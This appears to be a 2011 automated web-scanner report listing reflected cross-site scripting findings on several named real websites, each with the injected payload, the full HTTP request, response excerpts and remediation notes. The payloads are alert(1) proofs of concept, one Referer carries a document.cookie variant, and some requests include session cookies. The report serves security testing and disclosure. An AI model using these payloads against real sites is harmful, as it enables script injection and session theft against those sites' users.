GET /shows/Miss-Download26605"-alert(1)-"689bed10a7d HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ddabd"><script>alert(1)</script>d590b6c1636 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/Miss-Downloadddabd"><script>alert(1)</script>d590b6c1636 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b7b6d'><script>alert(1)</script>031da9bdfb8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/Mr-Mobileb7b6d'><script>alert(1)</script>031da9bdfb8 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bfea8"-alert(1)-"554ac61bd4e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shows/Mr-Mobilebfea8"-alert(1)-"554ac61bd4e HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49459"><script>alert(1)</script>6537b84f503 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/Mr-Mobile49459"><script>alert(1)</script>6537b84f503 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7ab27"-alert(1)-"9bc82b719cd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shows/On-Deck7ab27"-alert(1)-"9bc82b719cd HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d5fe3'><script>alert(1)</script>2aec528306 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/On-Deckd5fe3'><script>alert(1)</script>2aec528306 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a2be"><script>alert(1)</script>0cc37f18b7a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/On-Deck9a2be"><script>alert(1)</script>0cc37f18b7a HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a634"><script>alert(1)</script>ec3897212c8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/The-Noob3a634"><script>alert(1)</script>ec3897212c8 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b3d86'><script>alert(1)</script>b1ffded8566 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shows/The-Noobb3d86'><script>alert(1)</script>b1ffded8566 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 756bb"-alert(1)-"c84622db6bd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shows/The-Noob756bb"-alert(1)-"c84622db6bd HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.109. http://www.butterscotch.com/tutorials.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.butterscotch.com
Path:
/tutorials.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d7c85'><script>alert(1)</script>bc9e9d0f84 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tutorials.html?d7c85'><script>alert(1)</script>bc9e9d0f84=1 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Date()).getTime()</script> ...[SNIP]... <input type='hidden' name='ref' value='/tutorials.html?d7c85'><script>alert(1)</script>bc9e9d0f84=1' /> ...[SNIP]...
1.110. http://www.butterscotch.com/tutorials.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.butterscotch.com
Path:
/tutorials.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c73a3"-alert(1)-"3ae1549e395 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tutorials.html?c73a3"-alert(1)-"3ae1549e395=1 HTTP/1.1 Host: www.butterscotch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the HTML document as text between TITLE tags. The payload 59ab9</title><script>alert(1)</script>4e54375ce26 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /reviews/59ab9</title><script>alert(1)</script>4e54375ce26/x22 HTTP/1.1 Host: www.buzzillions.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c455e'%3balert(1)//fdc072ec141 was submitted in the REST URL parameter 2. This input was echoed as c455e';alert(1)//fdc072ec141 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /reviews/c455e'%3balert(1)//fdc072ec141/x22 HTTP/1.1 Host: www.buzzillions.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 610a7<script>alert(1)</script>e398f29f414 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /reviews/610a7<script>alert(1)</script>e398f29f414/x22 HTTP/1.1 Host: www.buzzillions.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.114. http://www.google.com/advanced_search [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.google.com
Path:
/advanced_search
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 5ccfe(a)d05f17aeea9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advanced_search?5ccfe(a)d05f17aeea9=1 HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NID=43=b047N2rzcR5j1zMXEpdBo2hh5YJB0tHWlhpnTZC6sE2E0oKhqTIEWj3h1ndW_KVGzksu8DQxWwRLNl-jwmZDSNcoUTAIqVM648JqycJB7IgDEPB9m0hMSeKNwBC3xa69; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 21:50:52 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block Connection: close
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 44a08'%3b28a34fbd60c was submitted in the REST URL parameter 2. This input was echoed as 44a08';28a34fbd60c in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /whois/smartdevil.com44a08'%3b28a34fbd60c/x22 HTTP/1.1 Host: www.ip-adress.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 21:56:51 GMT Server: Apache Cache-Control: no-cache Expires: -1 Set-Cookie: isv=1; expires=Fri, 04-Feb-2011 21:56:51 GMT; path=/ Connection: close Content-Type: text/html Content-Length: 13811
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset= ...[SNIP]... <span id="hostname">smartdevil.com44a08';28a34fbd60c </' + 'span> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e162b"%3b450ee9e1714 was submitted in the REST URL parameter 2. This input was echoed as e162b";450ee9e1714 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /find-jobs/All-Locatione162b"%3b450ee9e1714/warehouse-openings-in-westland-michigan.html/x22 HTTP/1.1 Host: www.jobsyndicates.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 21:59:47 GMT Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.3.3 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 4385d0f17cf8fcee3ef445880de44c08=a7d5c6bff03ec5fc507b206bd2f58b86; path=/ Set-Cookie: ja_kyanite_ii_tpl=ja_kyanite_ii; expires=Tue, 24-Jan-2012 21:59:48 GMT; path=/ Last-Modified: Thu, 03 Feb 2011 21:59:48 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25114
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4473"%20a%3db%2016a87f4d9f1 was submitted in the REST URL parameter 2. This input was echoed as c4473" a=b 16a87f4d9f1 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /find-jobs/All-Locationc4473"%20a%3db%2016a87f4d9f1/warehouse-openings-in-westland-michigan.html/x22 HTTP/1.1 Host: www.jobsyndicates.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 21:59:46 GMT Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.3.3 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 4385d0f17cf8fcee3ef445880de44c08=2d455231d6b3a9382ff7357e54908a71; path=/ Set-Cookie: ja_kyanite_ii_tpl=ja_kyanite_ii; expires=Tue, 24-Jan-2012 21:59:46 GMT; path=/ Last-Modified: Thu, 03 Feb 2011 21:59:46 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25200
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
< ...[SNIP]... <meta name="description" content="Find warehouse openings in westland michigan.html jobs and career in All Locationc4473" a=b 16a87f4d9f1, displaying 1-15 results. Daily updates Job listing with multiple Rss feed, experience the best way to find a job online" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 636d6"%20a%3db%201c410831e56 was submitted in the REST URL parameter 3. This input was echoed as 636d6" a=b 1c410831e56 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /find-jobs/All-Location/warehouse-openings-in-westland-michigan.html636d6"%20a%3db%201c410831e56/x22 HTTP/1.1 Host: www.jobsyndicates.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 22:00:04 GMT Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.3.3 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 4385d0f17cf8fcee3ef445880de44c08=60ddc87c66256906fadd1f2a484abc98; path=/ Set-Cookie: ja_kyanite_ii_tpl=ja_kyanite_ii; expires=Tue, 24-Jan-2012 22:00:04 GMT; path=/ Last-Modified: Thu, 03 Feb 2011 22:00:04 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25218
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
< ...[SNIP]... <meta name="description" content="Find warehouse openings in westland michigan.html636d6" a=b 1c410831e56 jobs and career , displaying 1-15 results. Daily updates Job listing with multiple Rss feed, experience the best way to find a job online" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 11311"%3bb0138398545 was submitted in the REST URL parameter 3. This input was echoed as 11311";b0138398545 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /find-jobs/All-Location/warehouse-openings-in-westland-michigan.html11311"%3bb0138398545/x22 HTTP/1.1 Host: www.jobsyndicates.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 22:00:06 GMT Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.3.3 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 4385d0f17cf8fcee3ef445880de44c08=7377341cb25663e7e8ec2eb65cf84816; path=/ Set-Cookie: ja_kyanite_ii_tpl=ja_kyanite_ii; expires=Tue, 24-Jan-2012 22:00:06 GMT; path=/ Last-Modified: Thu, 03 Feb 2011 22:00:07 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25126
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 73100<script>alert(1)</script>af671aace11 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bsdlicense.txt73100<script>alert(1)</script>af671aace11 HTTP/1.1 Host: www.kminek.pl Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 22:00:42 GMT Server: Apache X-Pingback: http://www.kminek.pl/kminek-core/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: PHPSESSID=88d2jmcinjb18m98s7vavegus2; path=/ Set-Cookie: layoutbar=deleted; expires=Wed, 03-Feb-2010 22:00:41 GMT; path=/ Last-Modified: Thu, 03 Feb 2011 22:00:42 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 8327
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html dir="ltr" lang="pl-PL">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d399a<script>alert(1)</script>179d88325a3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d399a<script>alert(1)</script>179d88325a3 HTTP/1.1 Host: www.kminek.pl Proxy-Connection: keep-alive Referer: http://www.kminek.pl/bsdlicense.txt73100%3Cscript%3Ealert(document.cookie)%3C/script%3Eaf671aace11 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=g2rkdjbkf7e1cnmn1jpn3vrc76
Response
HTTP/1.1 404 Not Found Date: Fri, 04 Feb 2011 01:50:03 GMT Server: Apache X-Pingback: http://www.kminek.pl/kminek-core/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: layoutbar=deleted; expires=Thu, 04-Feb-2010 01:50:02 GMT; path=/ Last-Modified: Fri, 04 Feb 2011 01:50:03 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 8236
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html dir="ltr" lang="pl-PL">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ee332<script>alert(1)</script>0b6fe74c897 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ee332<script>alert(1)</script>0b6fe74c897 HTTP/1.1 Host: www.kminek.pl Proxy-Connection: keep-alive Referer: http://www.kminek.pl/bsdlicense.txt73100%3Cscript%3Ealert(document.cookie)%3C/script%3Eaf671aace11 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=g2rkdjbkf7e1cnmn1jpn3vrc76
Response
HTTP/1.1 404 Not Found Date: Fri, 04 Feb 2011 01:50:18 GMT Server: Apache X-Pingback: http://www.kminek.pl/kminek-core/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: layoutbar=deleted; expires=Thu, 04-Feb-2010 01:50:17 GMT; path=/ Last-Modified: Fri, 04 Feb 2011 01:50:18 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 8236
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html dir="ltr" lang="pl-PL">
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 28728<script>alert(1)</script>812ffa424ab was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /lab/yetii28728<script>alert(1)</script>812ffa424ab/ HTTP/1.1 Host: www.kminek.pl Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 22:02:24 GMT Server: Apache X-Pingback: http://www.kminek.pl/kminek-core/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: PHPSESSID=spgj6939rjejseveijoefseot5; path=/ Set-Cookie: layoutbar=deleted; expires=Wed, 03-Feb-2010 22:02:23 GMT; path=/ Last-Modified: Thu, 03 Feb 2011 22:02:24 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 8323
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html dir="ltr" lang="pl-PL">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90e81"><script>alert(1)</script>49b2497dc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wholesale-Shower-Faucets_c286390e81"><script>alert(1)</script>49b2497dc HTTP/1.1 Host: www.lightinthebox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco ...[SNIP]... <a href="/wholesale-Shower-Faucets_c286390e81"><script>alert(1)</script>49b2497dc"> ...[SNIP]...
1.125. http://www.lightinthebox.com/wholesale-Shower-Faucets_c2863 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.lightinthebox.com
Path:
/wholesale-Shower-Faucets_c2863
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82d7d'%3balert(1)//5681bfb5b3e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 82d7d';alert(1)//5681bfb5b3e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wholesale-Shower-Faucets_c2863?82d7d'%3balert(1)//5681bfb5b3e=1 HTTP/1.1 Host: www.lightinthebox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.126. http://www.lightinthebox.com/wholesale-Shower-Faucets_c2863 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.lightinthebox.com
Path:
/wholesale-Shower-Faucets_c2863
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c002"><script>alert(1)</script>7f0bb6aab4f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wholesale-Shower-Faucets_c2863?8c002"><script>alert(1)</script>7f0bb6aab4f=1 HTTP/1.1 Host: www.lightinthebox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8e5e2<a>074b39b533a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /p-aasG6JkxVvmNA8e5e2<a>074b39b533a HTTP/1.1 Host: www.quantcast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html Content-Language: en Date: Thu, 03 Feb 2011 22:03:07 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]... <em> p-aasG6JkxVvmNA8e5e2<a>074b39b533a</em> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aabbe"><a>fe7c65bf24b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
